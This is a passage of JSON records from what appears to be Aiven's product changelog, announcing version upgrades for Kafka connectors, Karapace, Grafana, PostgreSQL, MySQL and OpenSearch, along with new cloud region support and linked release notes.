release."}],"markDefs":[{"_key":"m11062724829463","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.3.3.md"}],"style":"normal"}],"publishedAt":"2022-06-14T00:00:00.000Z","tags":[{"_key":"2d706f6d-4be3-4874-912a-385199af8d9c","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Updated OpenSearch to version 1.3.3"} {"_createdAt":"2022-10-27T09:08:05Z","_i18n_lang":"en","_id":"3a819626-5ead-4440-9319-d685b5ac0480","_rev":"zF7BMhNhvYpWtPMfHNNaVa","_type":"changelog","_updatedAt":"2022-10-27T09:08:05Z","changeType":"","description":[{"_key":"b66813e4-676b-40ff-9f64-1aa453aa65e6","_type":"block","children":[{"_key":"d886e962-1047-4afc-93f9-c468744f8f97","_type":"span","marks":[],"text":"All Aiven services are now available in the new regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-08-15T00:00:00.000Z","tags":[{"_key":"13ea5747-b725-4873-8d18-44efecf4b2fa","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Added support for Amazon Web Services (AWS) Bahrain (\u003ccode\u003eme-south-1\u003c/code\u003e) and Hong Kong (\u003ccode\u003eap-east-1\u003c/code\u003e) regions"} {"__i18n_lang":"en","_createdAt":"2023-09-01T07:32:05Z","_id":"3af97f6b-ae28-47a6-aadf-4f818def0402","_rev":"TiQ1DjjwIo5pwieuMR7Eoz","_type":"changelog","_updatedAt":"2023-09-01T07:32:05Z","changeType":"improved","description":[{"_key":"4ee5ed88b2d9","_type":"block","children":[{"_key":"7695385fd0cf0","_type":"span","marks":[],"text":"The Snowflake connector for Aiven for Apache Kafka® has been upgraded to version 2.0.1. This version includes bug fixes and enhancements to improve connector performance and reliability. Here are some of the notable changes:"}],"markDefs":[],"style":"normal"},{"_key":"2e8a020438d2","_type":"block","children":[{"_key":"5f412b3da8060","_type":"span","marks":["strong"],"text":"Data consistency issue fixed "},{"_key":"5f412b3da8061","_type":"span","marks":[],"text":"("},{"_key":"5f412b3da8062","_type":"span","marks":["5e64687795c0"],"text":"SNOW-811265"},{"_key":"5f412b3da8063","_type":"span","marks":[],"text":"): This version fixes a problem where revoking specific partitions would clear the entire "},{"_key":"523346beb108","_type":"span","marks":["code"],"text":"partitionToChannel"},{"_key":"fdf4072240d8","_type":"span","marks":[],"text":" map, increasing the risk of data inconsistencies. Now, only the partitions that have been revoked are removed."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5e64687795c0","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/687"}],"style":"normal"},{"_key":"eb9bd32bef0d","_type":"block","children":[{"_key":"1d7fc2302bbb0","_type":"span","marks":["strong"],"text":"New cache for schema queries "},{"_key":"1d7fc2302bbb1","_type":"span","marks":[],"text":"("},{"_key":"1d7fc2302bbb2","_type":"span","marks":["1c274391c195"],"text":"SNOW-858328"},{"_key":"1d7fc2302bbb3","_type":"span","marks":[],"text":"): A cache has been added for schema evolution permission queries, reducing the number of queries sent to Snowflake and improving the connector's throughput."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1c274391c195","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/683"}],"style":"normal"},{"_key":"ddd2e8a3c843","_type":"block","children":[{"_key":"db628d83b64b0","_type":"span","marks":["strong"],"text":"Metrics enhancement"},{"_key":"db628d83b64b1","_type":"span","marks":[],"text":": Minor adjustments to Snowpipe telemetry and JMX metrics have been made, providing more precise and useful data regarding the connector's performance and operational status."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"070f6c1be85a","_type":"block","children":[{"_key":"e59a8ce6c5f80","_type":"span","marks":["strong"],"text":"Log level change"},{"_key":"e59a8ce6c5f81","_type":"span","marks":[],"text":": The"},{"_key":"b493bf0932f7","_type":"span","marks":["strong"],"text":" Pipe already registered"},{"_key":"c4fa6f0f35d0","_type":"span","marks":[],"text":" message has been updated from an error to a warning level, indicating it is a non-critical issue that does not require any configuration changes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"184baed66620","_type":"block","children":[{"_key":"f6ad3cb1e3180","_type":"span","marks":[],"text":"For a complete list of changes, see the "},{"_key":"f6ad3cb1e3181","_type":"span","marks":["a679e8a47f11"],"text":"changelog on "},{"_key":"f6ad3cb1e3182","_type":"span","marks":[],"text":"GitHub."}],"markDefs":[{"_key":"a679e8a47f11","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/compare/v2.0.0...v2.0.1"}],"style":"normal"}],"publishedAt":"2023-09-01T07:21:57.207Z","tags":[{"_key":"38015500632f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded Snowflake connector for Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:09:34Z","_i18n_lang":"en","_id":"3bbc4437-f222-44c3-8ba4-8eaafb7d6c9f","_rev":"zF7BMhNhvYpWtPMfHNNpvu","_type":"changelog","_updatedAt":"2022-10-27T09:09:34Z","changeType":"","description":[{"_key":"389f3676-2ff1-426c-a997-ac8b9d826e65","_type":"block","children":[{"_key":"6f6a47af-84bd-4463-8b21-9a8363c1f016","_type":"span","marks":[],"text":"Please see the "},{"_key":"8a2fdbf6-33b4-4a51-8aa3-a831d009910a","_type":"span","marks":["m2358895570318"],"text":"release notes"},{"_key":"81db94b3-4cde-4f6e-9840-15e1e07e0578","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2358895570318","_type":"link","href":"https://community.grafana.com/t/release-notes-v5-2-x/7894"}],"style":"normal"}],"publishedAt":"2018-10-17T00:00:00.000Z","tags":[{"_key":"4e163fb2-392d-4d4a-b642-499a38059807","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.3.1 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:04:38Z","_i18n_lang":"en","_id":"3bf09575-66be-4888-9662-da5e29ad9518","_rev":"HEiYk6nGjmUICadcDbSjQp","_type":"changelog","_updatedAt":"2022-10-27T09:04:38Z","changeType":"","publishedAt":"2021-04-09T00:00:00.000Z","tags":["Aiven for Kafka"],"title":"\u003ca href=\"https://karapace.io\" rel=\"nofollow noopener noreferrer\"\u003eKarapace\u003c/a\u003e now supports the JSON schema format."} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:56:22Z","_id":"3c29718c-0cf8-43e4-8f08-ec586749bf06","_rev":"uS5CizGDduZ6GKphTZPtZO","_type":"changelog","_updatedAt":"2023-01-25T14:56:22Z","changeType":"improved","description":[{"_key":"f1fe3ab551f0","_type":"block","children":[{"_key":"958aaee8ec260","_type":"span","marks":[],"text":"Karapace has been upgraded to version 3.4.3. Any new Aiven for Apache Kafka service created will now include Karapace version 3.4.3. The existing Aiven for Apache Kafka service users will need to run the maintenance upgrade to use Karapace 3.4.3. Along with various bug fixes, this version includes the fix for base_uri for REST API consumers, allowing separating intra-cluster Karapace connections from publicly exposed REST API base_uri. To view the complete list of fixes in this version, see "},{"_key":"958aaee8ec261","_type":"span","marks":["92a01e9d44bd"],"text":"Karapace release notes"},{"_key":"958aaee8ec262","_type":"span","marks":[],"text":". To know how to enable and use Apache Kafka authorization via REST proxy, see "},{"_key":"958aaee8ec263","_type":"span","marks":["59e7688b14b9"],"text":"Karapace documentation"},{"_key":"958aaee8ec264","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"92a01e9d44bd","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.4.3"},{"_key":"59e7688b14b9","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/karapace/getting-started.html"}],"style":"normal"}],"publishedAt":"2023-01-09T14:55:00.000Z","tags":[{"_key":"1c9f5ce06c84","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.4.3."} {"_createdAt":"2022-10-27T09:05:03Z","_i18n_lang":"en","_id":"3c342565-9a84-44e6-8066-ac193c0cf39b","_rev":"GNtcCQgxf3P3DqpLt1izPx","_type":"changelog","_updatedAt":"2022-10-27T09:05:03Z","changeType":"","description":[{"_key":"d3ef7c53-8ff0-4219-a9b2-0fd2d51ce24a","_type":"block","children":[{"_key":"8892f4fc-e907-427b-9495-b81a26933043","_type":"span","marks":[],"text":"Please see the "},{"_key":"9cae1b69-7a41-47c7-8dfd-2232e8b8b110","_type":"span","marks":["m16313082043823"],"text":"changelog"},{"_key":"1c8075c6-5569-4b48-a910-7d11d85d7ebb","_type":"span","marks":[],"text":" and "},{"_key":"a3fe63b4-f9ac-43a2-b162-6727fda90a97","_type":"span","marks":["m14097242808942"],"text":"documentation"},{"_key":"e12e27b5-8979-404b-8c17-27b0c17f05cc","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16313082043823","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.9.0"},{"_key":"m14097242808942","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.9.0"}],"style":"normal"}],"publishedAt":"2021-02-15T00:00:00.000Z","tags":[{"_key":"7ee1cf5f-416a-4f5b-9a5b-21b5c8ea46f9","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.9.0"} {"_createdAt":"2022-10-27T09:03:12Z","_i18n_lang":"en","_id":"3d29cbbf-9091-4d27-b902-e1394e8ec8ae","_rev":"MEha5B96IszmAjyiiUpDlu","_type":"changelog","_updatedAt":"2022-10-27T09:03:12Z","changeType":"","description":[{"_key":"d91c7365-86ff-4b7b-864f-5d81457ba02c","_type":"block","children":[{"_key":"d5888e7c-ca76-4e65-98ce-ed33c899d97b","_type":"span","marks":[],"text":"Please see the "},{"_key":"0c68bf40-c127-49ce-af89-f531a0396452","_type":"span","marks":["m13591790954529"],"text":"release notes"},{"_key":"b3fc25c8-c651-4f84-93cd-2c58d61613c9","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13591790954529","_type":"link","href":"https://downloads.apache.org/kafka/2.7.2/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2021-12-17T00:00:00.000Z","tags":[{"_key":"51c8e1a7-6fab-4d06-8497-ebacf5c9727a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.7.2 is now available on Aiven"} {"__i18n_lang":"en","_createdAt":"2023-07-19T13:12:25Z","_id":"3eac90b9-6af9-4a38-9041-f1c4cc620274","_rev":"liXun5Qglq4dGLky9NvimU","_type":"changelog","_updatedAt":"2023-07-20T07:36:38Z","changeType":"new","description":[{"_key":"377cad9dc79e","_type":"block","children":[{"_key":"a75242b67a400","_type":"span","marks":[],"text":"Google's Private Service Connect (PSC) is supported in version 4.8.0 of Aiven Provider for Terraform. For customers who have standardized on Terraform to automate previously manual infrastructure deployment tasks, this update lets you automate time consuming tasks such as managing firewalls, updating network configurations, setting up VPC peering, and more."}],"markDefs":[],"style":"normal"},{"_key":"62a7a71815db","_type":"block","children":[{"_key":"3e33fda810cb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ebd5b1844785","_type":"block","children":[{"_key":"4d38aeabe16e","_type":"span","marks":[],"text":"For more information and an example of how to use this resource, "},{"_key":"02e58251dc30","_type":"span","marks":["11cfae081620"],"text":"view the documentation"},{"_key":"d55ea5864d74","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"11cfae081620","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/gcp_vpc_peering_connection"}],"style":"normal"}],"publishedAt":"2023-07-19T13:12:00.000Z","tags":[{"_key":"b07ec520bedc","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"GCP Private Service Connect now supported in Aiven Provider for Terraform"} {"_createdAt":"2022-10-27T09:01:56Z","_i18n_lang":"en","_id":"3f34bb40-ed6d-4176-bd85-595f7c46633e","_rev":"pnOvEyahjeT2Gte9fWg77T","_type":"changelog","_updatedAt":"2023-01-26T11:30:14Z","changeType":"improved","description":[{"_key":"617d53cd-3b7d-4b76-a8d5-383862fab2e8","_type":"block","children":[{"_key":"0585284c-4401-443c-9b4b-8b1dc3731cfd","_type":"span","marks":[],"text":"Please see "},{"_key":"9b63286c-dbad-4819-9151-57ef9ead2ac8","_type":"span","marks":["m1155701268542"],"text":"the release notes"},{"_key":"15a48d7b-10bc-42b0-8a6e-482c667c5e98","_type":"span","marks":[],"text":" and "},{"_key":"14f1b5ce-a60c-4896-9b1c-9da7cc01b576","_type":"span","marks":["m7486153012486"],"text":"the documentation"},{"_key":"bff2acc1-f34f-4aa5-8b76-e19ee5161ea6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1155701268542","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v1.1.0"},{"_key":"m7486153012486","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/v1.1.0/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2022-10-03T00:00:00.000Z","tags":[{"_key":"ede44468-5b8a-445a-b748-e6e047a5f58f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's Opensearch Connector for Apache Kafka has been updated to version 1.1.0"} {"_createdAt":"2022-10-27T09:06:39Z","_i18n_lang":"en","_id":"3f768749-4a0d-4aa3-9b0f-04dd8c593000","_rev":"ri8ZjU8zRgh6Niwltv1BfX","_type":"changelog","_updatedAt":"2022-10-27T09:06:39Z","changeType":"","description":[{"_key":"8544f46a-d63b-46af-9177-b6d29498171b","_type":"block","children":[{"_key":"3b916496-8946-45ec-b6ad-a651317258b3","_type":"span","marks":[],"text":"Please see the "},{"_key":"810158c9-89e6-41d1-bbfe-69adab3a478c","_type":"span","marks":["m8163889308831"],"text":"release notes"},{"_key":"59bd9f4f-9ec2-495a-8bae-4b338ea9be0b","_type":"span","marks":[],"text":" and the "},{"_key":"2d5bd721-3600-4d5e-a3d9-e5fb30a4d1ad","_type":"span","marks":["m11921764835802"],"text":"documentation"},{"_key":"f170301d-e98e-4eb6-852c-431e6b64a5b0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8163889308831","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/releases/tag/v0.4.0"},{"_key":"m11921764835802","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms"}],"style":"normal"}],"publishedAt":"2020-05-20T00:00:00.000Z","tags":[{"_key":"86c8dcc2-9efb-4ffc-9304-6b43054a1d5f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of single message transformations (SMTs) for Kafka Connect has been updated to version 0.4.0"} {"_createdAt":"2022-10-27T09:08:07Z","_i18n_lang":"en","_id":"402da994-fd99-4062-9dde-d6c6d0e3c97c","_rev":"7JYD5XroFCjaK9NJzk3vLS","_type":"changelog","_updatedAt":"2022-10-27T09:08:07Z","changeType":"","description":[{"_key":"82e6e6e8-a84a-4a10-a5d1-81323bf9e69f","_type":"block","children":[{"_key":"faa97c5c-5699-4891-a172-29e702bf6e47","_type":"span","marks":[],"text":"Please see "},{"_key":"8372e375-320c-431e-8a38-b25e74036d0b","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"12714faa-72ef-444e-94d7-3a35f81daefb","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-08-08T00:00:00.000Z","tags":[{"_key":"97c29f05-a8d6-467b-b01b-53aea4302b96","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 0.3.2"} {"_createdAt":"2022-10-27T09:03:26Z","_i18n_lang":"en","_id":"418a8601-be56-4b98-b976-3a947f6c8471","_rev":"G4qVVLRzbD2hZSG98TtvQE","_type":"changelog","_updatedAt":"2022-10-27T09:03:26Z","changeType":"","description":[{"_key":"c817249b-d2df-47c3-b162-1702f7cfc46f","_type":"block","children":[{"_key":"cc2e1709-00c8-445c-8643-645272698e83","_type":"span","marks":[],"text":"Please see the "},{"_key":"80af1da6-210c-4c25-85b4-c9feb57e2608","_type":"span","marks":["m10138105445454"],"text":"release notes"},{"_key":"be343a49-e465-468f-a351-e650ce90364b","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m10138105445454","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v8-2/"}],"style":"normal"}],"publishedAt":"2021-11-18T00:00:00.000Z","tags":[{"_key":"e080839a-8d7a-4965-8cfd-07896b75082b","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.2.5"} {"__i18n_lang":"en","_createdAt":"2023-04-18T11:23:08Z","_id":"4192cfde-a0da-4b65-81b9-76a3a148c351","_rev":"907X802WCKaXfRZZwUcOlw","_type":"changelog","_updatedAt":"2023-05-03T15:32:39Z","changeType":"improved","description":[{"_key":"1a3e7dc4655b","_type":"block","children":[{"_key":"51554dc04d250","_type":"span","marks":[],"text":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.8.0. "},{"_key":"c18a78156c6d","_type":"span","marks":[],"text":"This version of the Aiven JDBC Connector introduces several significant improvements that enhance its configuration, functionality, and reliability. The most notable changes are:"}],"markDefs":[],"style":"normal"},{"_key":"743cf21f7412","_type":"block","children":[{"_key":"c11d22db95440","_type":"span","marks":[],"text":"Unqualified table names in the source connector are now enabled, making it easier to configure and use. A new property, table.names.qualify, is introduced with a default value of true. When set to false, the connector no longer fails if it detects multiple tables with the same unqualified name, and queries are run against the database using unqualified table names."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d72b5a2ff11","_type":"block","children":[{"_key":"42de6a1ffec70","_type":"span","marks":[],"text":"Various dependencies have been upgraded to their latest versions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d26c650b360","_type":"block","children":[{"_key":"fa049e37cf160","_type":"span","marks":[],"text":"For more information, see "},{"_key":"fa049e37cf161","_type":"span","marks":["5113f4ddeade"],"text":"release notes"},{"_key":"fa049e37cf162","_type":"span","marks":[],"text":" and "},{"_key":"fa049e37cf163","_type":"span","marks":["3565719bee71"],"text":"documentation"},{"_key":"fa049e37cf164","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"5113f4ddeade","_type":"link","href":"https://github.com/aiven/jdbc-connector-for-apache-kafka/releases/tag/v6.8.0"},{"_key":"3565719bee71","_type":"link","href":"https://github.com/aiven/jdbc-connector-for-apache-kafka#documentation"}],"style":"normal"}],"publishedAt":"2023-04-28T15:31:00.000Z","tags":[{"_key":"e8cc1fa7401f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven JDBC connectors updated to version 6.8.0"} {"_createdAt":"2022-10-27T09:06:52Z","_i18n_lang":"en","_id":"427cf73d-405e-48ce-ba7f-c06b5000b1ec","_rev":"zF7BMhNhvYpWtPMfHNNOJy","_type":"changelog","_updatedAt":"2022-10-27T09:06:52Z","changeType":"","description":[{"_key":"5865d07c-bd52-432e-86c8-01d92f3c011f","_type":"block","children":[{"_key":"f386e6ea-0adb-4c38-a760-8105241d565b","_type":"span","marks":[],"text":"Idle sessions are rarely useful, and can prevent other transactions and background garbage collection (vacuum) from making progress. To disable the timeout you can set the idle_in_transaction_session_timeout parameter to 0 in your service's advanced configuration."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-04-21T00:00:00.000Z","tags":[{"_key":"620cc431-6a0f-488d-9e78-c9bf73d17ab8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL services now set a 24 hour timeout by default for idle sessions"} {"_createdAt":"2022-10-27T09:04:18Z","_i18n_lang":"en","_id":"42faf052-b06c-4084-946c-ed72363c3f31","_rev":"GNtcCQgxf3P3DqpLt1iu6X","_type":"changelog","_updatedAt":"2022-10-27T09:04:18Z","changeType":"","description":[{"_key":"098a27f1-ea66-40e1-9021-8d5c44722af5","_type":"block","children":[{"_key":"6e245a47-5fd4-47f2-bf7c-9b3500d6b25a","_type":"span","marks":[],"text":"Please see "},{"_key":"26c65380-966d-4a0f-afb2-d86d5bb60192","_type":"span","marks":["m15926279500789"],"text":"the changelog"},{"_key":"f90a9cd1-a386-4c17-95f4-61072b90e3ec","_type":"span","marks":[],"text":" and "},{"_key":"81de827d-42e8-4813-b633-4aff21944328","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"d7328432-9d19-47e8-a775-5acaac81d2f0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15926279500789","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.5.3"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2021-05-17T00:00:00.000Z","tags":[{"_key":"8630500c-840b-44f3-acd2-36257f26419d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.5.3"} {"_createdAt":"2022-10-27T09:03:36Z","_i18n_lang":"en","_id":"433637aa-e28b-48c3-bbbe-09bb7e93c696","_rev":"WYf15BwQWb3V4yHfbxNnCl","_type":"changelog","_updatedAt":"2022-10-27T09:03:36Z","changeType":"","description":[{"_key":"653c67e1-b2d6-477c-9544-e2f489589ce7","_type":"block","children":[{"_key":"095410d4-2fc7-4fcf-a6dc-43112b16b79a","_type":"span","marks":[],"text":"Please see the "},{"_key":"ce75d9a8-6833-4d39-a3c9-5da9a9e8ab10","_type":"span","marks":["m11798940673068"],"text":"Release Notes"},{"_key":"4c64de38-f388-4c8e-8761-c2ce18eb73fc","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m11798940673068","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-26.html"}],"style":"normal"}],"publishedAt":"2021-09-28T00:00:00.000Z","tags":[{"_key":"a78485d2-b941-46c4-a2ca-c1182d2883c7","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL server version 8.0.26 now available"} {"_createdAt":"2022-10-27T09:12:04Z","_i18n_lang":"en","_id":"43675091-ab63-4f2d-9c60-ba30fbb5ef64","_rev":"7JYD5XroFCjaK9NJzk44GC","_type":"changelog","_updatedAt":"2022-10-27T09:12:04Z","changeType":"","description":[{"_key":"16fab06f-ac19-4485-a911-e1592e80e2a1","_type":"block","children":[{"_key":"dd4143f1-add0-4a9d-a228-264ffa68a529","_type":"span","marks":[],"text":"The features allows setting unlimited retention time for a topic."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-03-13T00:00:00.000Z","tags":[{"_key":"293b25c2-3aad-4783-a731-1eba9e543ac0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added an \u003ccode\u003eunlimited_topic_retention\u003c/code\u003e feature that can be turned on for a service based on a customer request"} {"_createdAt":"2022-10-27T09:10:55Z","_i18n_lang":"en","_id":"43e104eb-f48d-4a52-a83b-a809ecdd8fcb","_rev":"tsRucK8MIVb3810duaE80W","_type":"changelog","_updatedAt":"2022-10-27T09:10:55Z","changeType":"","description":[{"_key":"a9d26d0f-5d60-4035-934a-29297d7c4354","_type":"block","children":[{"_key":"3fb2d147-7036-4f5e-861c-3af202121050","_type":"span","marks":[],"text":"From now on all Aiven for Grafana services provide a commonly accepted TLS certificate to make adoption even easier."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-01-12T00:00:00.000Z","tags":[{"_key":"e8215a82-eec1-42d4-aaeb-4c836e33be44","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana hobbyist plans are being discontinued"} {"__i18n_lang":"en","_createdAt":"2023-11-14T08:45:56Z","_id":"4404a50f-9933-4d88-9567-3e086d9e8edc","_rev":"PFiBclVD2HHCPacOaGAkNR","_type":"changelog","_updatedAt":"2023-11-14T08:45:56Z","changeType":"improved","description":[{"_key":"0d4d251df5ee","_type":"block","children":[{"_key":"414a39b6b7da0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 15.5, 14.10, 13.13, 12.17, and 11.22. They contain a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"b48fc1948de9","_type":"block","children":[{"_key":"969b954e227d0","_type":"span","marks":[],"text":"See "},{"_key":"969b954e227d1","_type":"span","marks":["311902516367"],"text":"PostgreSQL release notes"},{"_key":"969b954e227d2","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"311902516367","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2023-11-13T08:45:00.000Z","tags":[{"_key":"635c4d05fc63","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 15.5, 14.10, 13.13, 12.17, and 11.22"} {"_createdAt":"2022-10-27T09:06:14Z","_i18n_lang":"en","_id":"442e8026-931e-44ff-beaa-3ce790efcdcf","_rev":"ncjVtEY290Sap8rHbFwfI2","_type":"changelog","_updatedAt":"2022-10-27T09:06:14Z","changeType":"","description":[{"_key":"90b6865d-f680-40ba-b420-e8277989f385","_type":"block","children":[{"_key":"54b63e6c-1893-4e2a-bda7-ecbac89c69a4","_type":"span","marks":[],"text":"Please see the "},{"_key":"9901a524-a5cd-44e8-a3c8-5766721664b5","_type":"span","marks":["m2879904160682"],"text":"changelog"},{"_key":"6588a050-9258-4fab-9dff-ea3f8f6519e4","_type":"span","marks":[],"text":" and "},{"_key":"71f3d792-6c16-4318-a8f4-c17ba0fc4319","_type":"span","marks":["m108393873996"],"text":"the documentation"},{"_key":"600da0db-67fe-466e-a0e4-1076809a0c22","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m2879904160682","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-elasticsearch/releases/tag/v6.0.3"},{"_key":"m108393873996","_type":"link","href":"https://docs.confluent.io/current/connect/kafka-connect-elasticsearch/index.html"}],"style":"normal"}],"publishedAt":"2020-08-08T00:00:00.000Z","tags":[{"_key":"f5b9d93a-8964-4483-8533-088f22e6d1c0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka Sink Connector for Elasticsearch has been updated to version 6.0.3"} {"_createdAt":"2022-10-27T09:06:11Z","_i18n_lang":"en","_id":"449a9258-67f6-46f9-8836-7ca961c9c2c7","_rev":"WYf15BwQWb3V4yHfbxOc2V","_type":"changelog","_updatedAt":"2022-10-27T09:06:11Z","changeType":"","description":[{"_key":"48d2b819-4dca-44af-90ac-7449faf7980b","_type":"block","children":[{"_key":"1fd16496-ece1-4a0a-b4c1-1df49948befd","_type":"span","marks":[],"text":"Please see the "},{"_key":"6712514d-5e56-4f21-b024-08e526e3f757","_type":"span","marks":["m8718368364994"],"text":"Release Notes"},{"_key":"7e555080-0a3c-497b-b89a-506f70a733fc","_type":"span","marks":[],"text":" and "},{"_key":"756a8577-5e29-4f20-8a7a-d64bb476543f","_type":"span","marks":["m9006151596761"],"text":"What's New in Apache Kafka 2.6.0"},{"_key":"788f2176-448a-4911-a380-fcef9ba4b578","_type":"span","marks":[],"text":" in the Apache blog."}],"markDefs":[{"_key":"m8718368364994","_type":"link","href":"https://downloads.apache.org/kafka/2.6.0/RELEASE_NOTES.html"},{"_key":"m9006151596761","_type":"link","href":"https://blogs.apache.org/kafka/entry/what-s-new-in-apache3"}],"style":"normal"}],"publishedAt":"2020-08-13T00:00:00.000Z","tags":[{"_key":"e003bcdb-912f-47a4-9a9d-615be469ab3c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.6 is now available on Aiven"} {"_createdAt":"2022-10-27T09:06:17Z","_i18n_lang":"en","_id":"468ca329-a2b1-4565-b273-9418fb82dcea","_rev":"chYcdg0OBeHzQFNhare6NR","_type":"changelog","_updatedAt":"2022-10-27T09:06:17Z","changeType":"","description":[{"_key":"ed4d62f3-9135-40a5-9b81-2961563b9081","_type":"block","children":[{"_key":"53a86ab5-c4e2-40dc-b05b-6b90208340d1","_type":"span","marks":[],"text":"Please see "},{"_key":"88bc00d4-399b-4e28-9346-25ac6e803467","_type":"span","marks":["m10217930119029"],"text":"the changelog"},{"_key":"8101bebe-a009-45cb-aab1-90ccdb95111b","_type":"span","marks":[],"text":" and "},{"_key":"8dcb3df4-926b-423f-932b-84d7ce41de4c","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"bd4b1114-f82a-44d4-8248-34cdb941aeef","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10217930119029","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.4.2"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-08-05T00:00:00.000Z","tags":[{"_key":"fabc5a79-e39c-45f4-b29e-637fcd35f3f8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 